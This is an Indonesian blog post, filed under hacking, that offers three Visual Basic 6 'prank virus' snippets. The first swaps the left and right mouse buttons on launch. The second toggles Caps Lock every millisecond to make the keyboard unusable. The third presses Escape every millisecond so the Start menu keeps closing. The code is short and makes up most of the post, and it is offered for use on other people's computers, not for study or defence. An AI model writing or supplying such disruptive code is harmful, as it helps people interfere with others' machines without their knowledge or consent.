bikin virus dengan efek jahil ! (VB6)
| Posted in hacking | Posted on 00.35
1). ini kode untuk membalikan mouse key, kiri jadi kanan, kanan jadi kiri, cukup jail kan...hehe,
Form1
Option Explicit
Private Declare Function SwapMouseButton _
Lib "user32" (ByVal bSwap As Long) As Long
Private Const PENCET = &H100&
Private Sub Form_Load()
SwapMouseButton PENCET
End Sub
2). Kalo yang satu ini untuk membuat fungsi keyboard gak jalan, triknya adalah membuka dan menutup caps lock berulang ulang, jangan lupa timer1 di set dengan interval 1, nah jail gak tuh...
Module
Public Const VK_CAPITAL = &H14
Public Const KEYEVENTF_KEYUP = &H2
Public Declare Sub keybd_event _
Lib "user32" (ByVal bVk As Byte, _
ByVal bScan As Byte, ByVal dwFlags As Long, _
ByVal dwExtraInfo As Long)
Timer1
Call keybd_event(VK_CAPITAL, 0, 0, 0)
Call keybd_event(VK_CAPITAL, 0, KEYEVENTF_KEYUP, 0)
3). Selanjutnya, script untuk mendisable fungsi start, dengan menutupnya berulang-ulang, jangan lupa timer1 set intervalnya 1
Form1
Private Const VK_ESCAPE = &H1B
Private Const KEYEVENTF_KEYUP = &H2
Private Declare Sub keybd_event _
Lib "user32" (ByVal bVk As Byte, _
ByVal bScan As Byte, ByVal dwFlags _
As Long, ByVal dwExtraInfo As Long)
Timer1
Private Sub Timer1_Timer()
Call keybd_event(VK_ESCAPE, 0, 0, 0)
Call keybd_event(VK_ESCAPE, 0, _
KEYEVENTF_KEYUP, 0)
End Sub
sumber: http://stephanusvincent.blogspot.com/2010/09/bikin-virus-dengan-efek-jahil-vb6.html
Comments (0)
Posting Komentar